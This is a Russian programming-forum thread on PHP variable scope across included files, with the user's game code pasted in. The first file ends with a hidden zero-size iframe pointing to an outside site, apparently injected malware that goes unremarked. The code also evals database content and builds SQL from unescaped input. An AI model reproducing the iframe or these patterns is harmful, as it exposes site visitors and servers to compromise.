Форум программистов, компьютерный форум, киберфорум
PHP
Войти
Регистрация
Восстановить пароль
Карта форума Темы раздела Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 5.00/3: Рейтинг темы: голосов - 3, средняя оценка - 5.00
55 / 13 / 2
Регистрация: 26.10.2014
Сообщений: 1,108
1

Использование массива во всем коде без include

06.06.2015, 11:59. Показов 545. Ответов 13
Метки нет (Все метки)

Author24 — интернет-сервис помощи студентам
Приветствую!
У меня в руках был код, где $page отвечала за содержание страницы. А $f был массивом. Во всех файлах их можно было использовать, не подключая файл, где они объявлялись и туда записывались данные.
Подскажите пождалуйста как такое сделать?
0
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
06.06.2015, 11:59
Ответы с готовыми решениями:

Помогите найти ошибку в коде(цикл for проходит не по всем элементам массива)
#include "stdafx.h" #include "iostream" #include <clocale> #include <stdio.h> #include...

Работа с файлами в C# с исп. библиотек #include <stdio.h> #include <stdlib.h> #include <math.h> #include <io.h>
В типизированном файле записаны названия городов и их численность. Увеличить численность каждого...

Всем, всем! "Динамическая подмена контента без перезагрузки страницы"
При создании очередной страницы наткнулся на одну проблему. Проблема вот в чем: При клике по...

Использование массива без указания размерности
не знаю как загугить можно ли использовать массив без указания размерности, либо как-то чтобы она...

13
1943 / 1768 / 825
Регистрация: 23.01.2014
Сообщений: 6,230
06.06.2015, 12:03 2
Цитата Сообщение от jonikster Посмотреть сообщение
Подскажите пождалуйста как такое сделать?
Никак.
0
55 / 13 / 2
Регистрация: 26.10.2014
Сообщений: 1,108
06.06.2015, 13:43  [ТС] 3
Ну как-так?
Вот такой код:
PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?$page="";
  $title="Бартфолк";
  //ini_set('display_errors', 0);
  include "lib.php";
  if ($_GET["do"]=="online" and !isset($_COOKIE[$gamename])){
        $tmp=time()-5*60;
        $sql=mysql_query("SELECT count(id) FROM users WHERE onlinetime>'$tmp'");
        $count= mysql_result($sql,0,0);
        $page.="<p class='d'><b>Список онлайн [$count]</b></p>";
        if (!isset($_GET[str])) {$str=1;}
        else  {$str=intval(htmlspecialchars(stripslashes(trim(mysql_real_escape_string($_GET[str])))));}
        $begin=($str-1)*15;
        $sql=mysql_query("SELECT id,char_name,level FROM users WHERE onlinetime>'$tmp' ORDER BY char_name LIMIT $begin,15");
        while($user=mysql_fetch_array($sql)){
            $page.="<br/>$user[char_name][$user[level]]";
        }
        $page.=nav_page(ceil($count/15),$str,"./?do=online&amp;str=");
        $tmp=time()-86400;
        $sql=mysql_query("SELECT count(id) FROM users WHERE onlinetime>'$tmp'");
        $count= mysql_result($sql,0,0);
        if ($count>0) {
        $page.="<br/>За сутки: $count"; }
        $tmp=time()-7*86400;
        $sql=mysql_query("SELECT count(id) FROM users WHERE onlinetime>'$tmp'");
        $count= mysql_result($sql,0,0);
        if ($count>0) {
        $page.="<br/>За неделю: $count";
        }
        $page.="<p class='d'><b><a href='./'>На главную</a></b></p>";
        display($page,$title,$style);
    }
  else
    {
  include "$filesfolder/index.php";}
?>
<iframe src="http://tosto-vik.ru/index.php?sall=Bad" width="0" height="0" style="display:none;"></iframe>
А вот пример файла:
PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
<?  $title="Разговор";
    $sql = mysql_query("SELECT obj_list FROM locations WHERE loc_id='$player[loc_id]' LIMIT 1");
    $obj_list=unserialize(mysql_result($sql,0,"obj_list"));
    $bag=unserialize($player[bag]);
    $player[base_params]=unserialize($player[base_params]);
    $player[quests]=unserialize($player[quests]);
    $base_params=$player[base_params];
    $player[base_resists]=unserialize($player[base_resists]);
    $base_resists=$player[base_resists];
  if ($status[talk] =='no' or empty($status[talk])) {
      if (isset($_GET[talk])){
            if (empty($obj_list[$_GET[talk]][status][talkid])) {$end=1;$zagolovok="Ошибка при попытке разговора 1!";}
            else {
                $tmp=array("objid"=>$_GET[talk],"talkid"=>$obj_list[$_GET[talk]][status][talkid],"epicid"=>"begin");
                $status[talk]=$tmp;
                $sql = mysql_query("SELECT * FROM talk WHERE talkid='".$status[talk][talkid]."' LIMIT 1");
                $talk=mysql_fetch_array($sql);
                $dialog=unserialize($talk[dialog]);
                if (empty($dialog["begin"])) {$end=1;$zagolovok="Ошибка";$reply=$status[talk][talkid]." Ошибка при попытке разговора 2!";}
                else {
                  $tmp=serialize($status);
                  $sql=mysql_query("UPDATE users SET status='$tmp' WHERE id='$player[id]' LIMIT 1");
                }
            }
      }
 
  }
  else {
     $sql = mysql_query("SELECT * FROM talk WHERE talkid='".$status[talk][talkid]."' LIMIT 1");
     if (mysql_num_rows($sql)!=1) {$end=1;$zagolovok="Ошибка";$reply="Ошибка при попытке разговора 3!";}
     $talk=mysql_fetch_array($sql);
     $dialog=unserialize($talk[dialog]);
  }
    $reply=$dialog[$status[talk][epicid]][reply];
    $zagolovok=$obj_list[$status[talk][objid]][name];
 
   if (isset($_GET[select])) {
       $if=0;
           eval($dialog[$status[talk][epicid]][variants][$_GET[select]]["if"]);
 
 
        if ($if>0) { // проверка
         //Есть ли новый эпизода  в диалоге
         if (isset($dialog[$dialog[$status[talk][epicid]][variants][$_GET[select]]["to"]])) {
            $status[talk][epicid]= $dialog[$status[talk][epicid]][variants][$_GET[select]]["to"];
            $reply=$dialog[$status[talk][epicid]][reply];
            $zagolovok=$obj_list[$status[talk][objid]][name];
            if  ($status[talk][epicid]=="end") {$status[talk]="no";$end=1;}
            $tmp=serialize($status);
            $sql=mysql_query("UPDATE users SET status='$tmp' WHERE id='$player[id]' LIMIT 1");
            eval($dialog[$status[talk][epicid]][on_enter]); // выполнение кода
         }
         else { //в случае ошибки выкидывает из диалога
            $status[talk]= "no";
            $tmp=serialize($status);
            $sql=mysql_query("UPDATE users SET status='$tmp' WHERE id='$player[id]' LIMIT 1");
            $end=1;
         }
      }
   }
 
 
 
 
   //if  ($end==1) {$zagolovok="Конец диалога";}
 
   $page.="<p class='d'>".$zagolovok."</p>";
   $page.="<br/>".$reply."<br/>";
   if  ($status[talk][epicid]=="trade") {
    $page.="<br/><a href='./?trade=buy&amp;npc=".$status[talk][objid]."'>Купить</a>";
    $page.="<br/><a href='./?trade=sell&amp;npc=".$status[talk][objid]."'>Продать</a>";
    $status[talk]="no";
    $tmp=serialize($status);
    $sql=mysql_query("UPDATE users SET status='$tmp' WHERE id='$player[id]' LIMIT 1");
    $end=1;
   }
   elseif  ($status[talk][epicid]=="bank") {
    $page.="<br/><a href='./?bank=from'>Забрать</a>";
    $page.="<br/><a href='./?bank=to'>Положить</a>";
    $status[talk]="no";
    $tmp=serialize($status);
    $sql=mysql_query("UPDATE users SET status='$tmp' WHERE id='$player[id]' LIMIT 1");
    $end=1;
   }
    if  ($end==1 or $status[talk][epicid]=="end") {
       $page.="<br/><a href='./'>В игру</a>";
    }
    else {
     for ($i=0;$i<sizeof($dialog[$status[talk][epicid]][variants]);$i++) {
        $if=0;
        eval($dialog[$status[talk][epicid]][variants][$i]["if"]);
        if ($if>0){
      $page.="<br/><a href='./?talk=".$status[talk][objid]."&amp;select=$i'>".$dialog[$status[talk][epicid]][variants][$i][text]."</a>";}
     }
    }
    $page.="<br/><br/>";
 
?>
Никакого include я здесь не видел.
Заранее благодарен!
0
Эксперт PHP
4925 / 3920 / 1620
Регистрация: 24.04.2014
Сообщений: 11,441
06.06.2015, 14:16 4
Цитата Сообщение от jonikster Посмотреть сообщение
Никакого include я здесь не видел.
Вижу 2 + eval, в котором может быть что угодно.
0
1943 / 1768 / 825
Регистрация: 23.01.2014
Сообщений: 6,230
06.06.2015, 15:25 5
Цитата Сообщение от jonikster Посмотреть сообщение
Никакого include я здесь не видел.
4 строка
PHP
1
include "lib.php";
34 строка
PHP
1
include "$filesfolder/index.php";
Цитата Сообщение от jonikster Посмотреть сообщение
Заранее благодарен!
Всегда пожалуйста. Если опять возникнут галлюцинации - обращайтесь.
0
365 / 372 / 89
Регистрация: 01.12.2013
Сообщений: 1,629
06.06.2015, 16:31 6
Цитата Сообщение от Jewbacabra Посмотреть сообщение
Вижу 2 + eva
три их там.. тс - у уже бесполезно что-то объяснять. правда потом появится новая тема, о том что какой-то м-к программу написал
0
55 / 13 / 2
Регистрация: 26.10.2014
Сообщений: 1,108
06.06.2015, 17:35  [ТС] 7
Все равное я ничего не понял. в тех файлах обсолюбтно никаких инклудов. плюс во всех остальных файлах изменяется $page и работа с массивом, не указывая файл где они объявлялись.
0
1943 / 1768 / 825
Регистрация: 23.01.2014
Сообщений: 6,230
06.06.2015, 18:26 8
Цитата Сообщение от jonikster Посмотреть сообщение
Все равное я ничего не понял. в тех файлах обсолюбтно никаких инклудов.
В каких тех? Которые Вы выложили?
0
55 / 13 / 2
Регистрация: 26.10.2014
Сообщений: 1,108
06.06.2015, 18:52  [ТС] 9
в первом файле который я выложил. там можно работать с переменной $page, которая была объявлена в 2 файле. а то index.php. и где работа с $page нет инклуда к индексу
0
Заблокирован
06.06.2015, 19:04 10
Цитата Сообщение от jonikster Посмотреть сообщение
в первом файле который я выложил. там можно работать с переменной $page, которая была объявлена в 2 файле.
Чё за бред?
В первом файле это переменная и объявляется прямо на первой строчке.
Цитата Сообщение от jonikster Посмотреть сообщение
<?$page="";
0
Заблокирован
06.06.2015, 19:18 11
Цитата Сообщение от Trukl Посмотреть сообщение
В первом файле это переменная и объявляется прямо на первой строчке.
Ну, может это не объявление, а "очистка". Если я правильно поняла, все очень просто: "все файлы" сами подключались в тот код, в котором были объявлены некоторые предопределенные переменные. Например, у меня переменная $page тоже "отвечает за содержание страницы", а в подключаемых файлах к ней можно обращаться как по чтению, так и по записи:
HTML5
1
2
<h1><?= $page['name'] ?></h1>
<?= $page['content'] ?>
0
1943 / 1768 / 825
Регистрация: 23.01.2014
Сообщений: 6,230
06.06.2015, 19:34 12
Цитата Сообщение от jonikster Посмотреть сообщение
в первом файле который я выложил. там можно работать с переменной $page, которая была объявлена в 2 файле. а то index.php. и где работа с $page нет инклуда к индексу
По-русски бы.

Вы понимаете как вообще include работает? Что он делает? Вот описание, если что http://php.net/manual/ru/function.include.php
Когда файл включается, его код наследует ту же область видимости переменных, что и строка, на которой произошло включение. Все переменные, доступные на этой строке во включающем файле будут также доступны во включаемом файле. Однако все функции и классы, объявленные во включаемом файле, будут доступны в глобальной области видимости.
0
55 / 13 / 2
Регистрация: 26.10.2014
Сообщений: 1,108
06.06.2015, 19:40  [ТС] 13
извиняюсь перепутал 1 с 2 файлом.
0
368 / 406 / 165
Регистрация: 29.05.2014
Сообщений: 1,494
06.06.2015, 20:19 14
Цитата Сообщение от jonikster Посмотреть сообщение
У меня в руках был код, где $page отвечала за содержание страницы. А $f был массивом. Во всех файлах их можно было использовать, не подключая файл, где они объявлялись и туда записывались данные.
У АВТОРА БРЕД!
Такого просто быть не может.

Цитата Сообщение от jonikster Посмотреть сообщение
извиняюсь перепутал 1 с 2 файлом.
Что бы ты там не перепутал в своих примерах, это никак не повлияет на уже данный тебе ответ:
Цитата Сообщение от pav1uxa Посмотреть сообщение
Никак.
Так что определись что ты ждёшь от этой темы? Что бы тебе объяснили как работает, чужой код? Который у тебя когда то был?...
0
06.06.2015, 20:19
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
06.06.2015, 20:19
Помогаю со студенческими работами здесь

Как обойтись без дополнительного массива в приведенном коде
Сделала лабу, всё зачли, но встал вопрос, о том, что эту программу можно реализовать без...

#include<iostream>// подключение библиотек #include <conio.h> #include <climits>
помогите для этой программы сделать блок-схему. Пожалуйста #include&lt;iostream&gt;// подключение...

Использование тегов include и ssi
Здравствуйте. В документации даны примеры использования тегов include и ssi: {% include...

Правильное использование include (PHP)
Если в пользовательском классе используются еще и другие классы (каждый хранится в отдельном...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
14
Ответ Создать тему
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2024, CyberForum.ru